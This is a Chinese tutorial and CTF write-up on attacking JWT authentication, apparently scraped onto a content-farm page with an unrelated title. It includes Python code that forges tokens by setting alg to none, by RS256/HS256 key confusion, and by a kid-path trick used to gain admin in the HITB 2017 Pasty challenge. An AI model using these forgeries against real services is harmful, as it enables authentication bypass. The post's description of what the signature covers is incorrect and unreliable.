当前位置: 首页 > news >正文

网站建设项目化教程/百度权重排名查询

网站建设项目化教程,百度权重排名查询,德阳网站建设,有没有专门做兼职的网站目录 0x01 JWT工作流程0x02 JWT的格式0x03 攻击JWT1. 敏感信息泄露2. 修改算法为none3. 修改算法RS256为HS256(非对称密码算法 > 对称密码算法)4. HS256(对称加密)密钥破解附: 相关工具0x04 实例:2017 HITB Pasty0x…

目录

  • 0x01 JWT工作流程
  • 0x02 JWT的格式
  • 0x03 攻击JWT
    • 1. 敏感信息泄露
    • 2. 修改算法为none
    • 3. 修改算法RS256为HS256(非对称密码算法 => 对称密码算法)
    • 4. HS256(对称加密)密钥破解
    • 附: 相关工具
  • 0x04 实例:2017 HITB Pasty
  • 0x05 参考

0x01 JWT工作流程

JSON Web Token(JWT)是一个非常轻巧的规范。

这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制

以20170824 HITB的一道Web题Pasty为例,这题的功能很简单,下面看一下JWT的工作流程

注册

903673-20170829200151671-1267162463.png

903673-20170829200213187-526172122.png

登录

903673-20170829200218046-1370414309.png

903673-20170829200232608-1396879030.png

登录时返回的数据如下


eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

登录后访问数据(GET)

903673-20170829200242937-1186128060.png
903673-20170829200247812-1930571906.png

可以看JWT被带到了HTTP Header中(前端的工作)

登录后提交数据(POST)

903673-20170829200254421-67826849.png
903673-20170829200314062-2028612148.png

可以看到JWT其实是被当做身份认证信息携带的,另外JWT常被前端代码存储于localstorge中

携带了JWT的HTTP Header:

Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJ0ZXN0In0.p3_kqvlEg2S7X98HPZuliUmY3JfQOVfSNfrtcxrDAUHrnSW5S8KqtsKUoMKvRtx41_sngfyIbhrnJJYvp90YaaKG90YyaVJrAVFx-uRXkssvAiE-6X8GIU9UI-kC_J5QWIasggQ7a1Ro9nhv5e7gZwJTq50YTg8yAJ8B-x9BmxKBh8k0tNh_NbfgrRrH6glLKKN3O2Z3GrWgWmUWd6RZuITj2LDRzD43LcY0RdzqSmxmHuQ8SDOWIT8kbGaBqSVO14GVoY8y1GHyskX2gZdUN6qaB6uB9W_XFdYuSrM2gD0srmq-rGcZbyEH_q-1zt8MWUw-JSJF5_JK09mMmBmrmw

0x02 JWT的格式

JWT的格式非常简单

JWT的数据分为三个部分: headers , payloads,signature(签名)

三者通过.分割,均采用base64UrlEncode

function base64url_encode($data) {return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

如上一节中的JWT数据

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

其三个部分为
header

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
解码后为:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

headers中包含了关于JWT的配置信息,如签名算法(alg),类型(JWT),kid表示算法所使用的密钥文件(当服务端需要多个密钥文件时使用)
payloads

eyJzdWIiOiJkdWJoZTEyMyJ9
解码后为:{"sub":"dubhe123"}

payload中存储一些用户数据,比如用户名(dubhe123)

payload中也有一些JWT标准定义的字段,用户可选择使用

{"iss": "John Wu JWT","iat": 1441593502,"exp": 1441594722,"aud": "www.example.com","sub": "jrocket@example.com","username": "A"
}

这几个字段的含义如下,其中需要注意的字段是exp,这字段可在一定程度上被用来防止重放攻击
iss: 该JWT的签发者
sub: 该JWT所面向的用户
aud: 接收该JWT的一方
exp(expires): 什么时候过期,这里是一个Unix时间戳
iat(issued at): 在什么时候签发的

signature

signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

因为header和payload是明文存储的,所以签名是为了防止数据被修改的,提供了对数据的交易功能
签名常使用RS256(RSA 非对称加密,使用私钥签名)、HS256(HMAC SHA256 对称加密)算法,签名对象为base64UrlEncode(headers) + '.' + base64UrlEncode('signature')

0x03 攻击JWT

1. 敏感信息泄露

很明显的一点,因为payload是明文传输的,所以如果payload中存在敏感信息就会出现信息泄露

2. 修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + '.' + payload + '.')然后提交到服务端即可

这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代码可以在Github上找到 https://github.com/Sjord/jwtdemo/

这个例子的解法如下

import jwt
import base64# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}def b64urlencode(data):return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \'.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下

903673-20170829200335015-1902400251.png

3. 修改算法RS256为HS256(非对称密码算法 => 对称密码算法)

算法HS256使用秘密密钥对每条消息进行签名和验证。

算法RS256使用私钥对消息进行签名,并使用公钥进行验证。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

后端代码会使用RSA公钥+HS256算法进行签名验证。

同样的,可以通过一个例子来理解这种攻击方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

该例子解法如下

import jwt# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}public = open('public.pem.1', 'r').read()print publicprint jwt.encode({"data":"test"}, key=public, algorithm='HS256')

结果如下(验证通过):

903673-20170829200406155-1851843598.png

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,可以直接暴力破解,如PyJWT库样例代码中使用secret字符串当做密钥

那么暴力猜解密钥,当密钥正确则解密成功,密钥错误解密代码抛出异常

可使用PyJWT或 John Ripper进行破解测试

附: 相关工具

PyJWT库 https://github.com/jpadilla/pyjwt


>>> import jwt>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'>>> jwt.decode(encoded, 'secret', algorithms=['HS256']){'some': 'payload'}

0x04 实例:2017 HITB Pasty

http://47.74.147.52:20012/

该Web应用JWT使用RS256算法,公钥文件存放在http://47.74.147.52:20012/keys/ 目录(根据kid的值猜测得出的)

903673-20170829200422843-1817546226.png

尝试将算法设置为none和将算法替换为HS256,但是均未通过服务端验证

所以JWT应该还是使用RS256算法。

该Web应用的场景为用户可以自己创建Pasty,并提供了下载文本格式的Pasty的功能。

下载链接为 http://47.74.147.52:20012/api/paste/(pasty_id )?raw

如 http://47.74.147.52:20012/api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw

所以可以新建一个Pasty,内容为我们自己生成的公钥

903673-20170829200428452-2099929569.png

然后使用python JWT库编写代码,使用我们生成的私钥对我们构造的admin的数据进行签名

其中kid为api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw=

903673-20170829200438593-1440954151.png

import jwtprivate = open('key.pem', 'r').read()print jwt.encode({"sub":"admin"}, key=private, \headers={'kid': 'api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw='}, algorithm='RS256')

使用私钥进行签名的时候发现jwt库会抛出异常,这里直接将库中的异常处理代码注释掉即可

使用构造好的JWT访问 /api/paste获得admin的Pasty ID

903673-20170829200444905-923794635.png

访问admin的Pasty,获得Flag

903673-20170829200449812-80622854.png

0x05 参考

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html

转载于:https://www.cnblogs.com/dliv3/p/7450057.html

http://www.lbrq.cn/news/1381879.html

相关文章:

  • h5响应式网站源码/网店无货源怎么做
  • 技术支持 网站建设/seo基础知识培训
  • 网站包括什么/产品市场推广方案
  • 如何查询企业有没有做网站/网站建设山东聚搜网络
  • 最好免费高清影视/杭州网站排名seo
  • a站与b站/网址缩短
  • 滨州做网站建设价格/杭州百度快照优化公司
  • 网站搜索引擎提交/百度推广怎么注册账号
  • 网站平台建设实施方案/外贸找客户有什么网站
  • php做网站登陆验证/谷歌浏览器免费入口
  • 东鹏拼奖网站怎么做/seo的作用有哪些
  • 车载互联系统网站建设/广州seo排名优化
  • dede做视频网站/网上国网推广
  • 银川网站建设一条龙/天桥区seo全网宣传
  • wordpress4.9怎么安装/网站怎么做优化排名
  • 正规的彩票网站怎么做/网络优化工资一般多少
  • 自己做网站兼职/零食软文范例300字
  • 手机网站微信链接怎么做/今日新闻摘抄二十条
  • 网站团队/怎么宣传自己的店铺
  • 上海有哪些网站设计公司/网站建设杭州
  • 郑州网站排名分析/昆明seo推广外包
  • 学校网站源码php/防控措施持续优化
  • 小程序网站开发者利/长沙做搜索引擎的公司
  • 什么是网站架构/网站友情链接怎么弄
  • 电影vip免费网站怎么做的/小程序开发模板
  • 黑河北京网站建设/高权重外链
  • 1核1g可以做几个网站/优化设计官方电子版
  • 成都旅游十大必去景区/广东网站优化公司
  • 自己做网站导航/百度权重是什么意思
  • 长沙公司做网站/如何获取网站的seo
  • 微波(Microwave)与毫米波(Millimeter wave)简介
  • Ubuntu 24.04.2 LTS 安装mysql8.0.36保姆级教程(从安装到远程连接)
  • 20257月29日-8月2日训练日志
  • 渗透测试常用指令
  • CNN卷积神经网络之LeNet和AlexNet经典网络模型(三)
  • elk部署加日志收集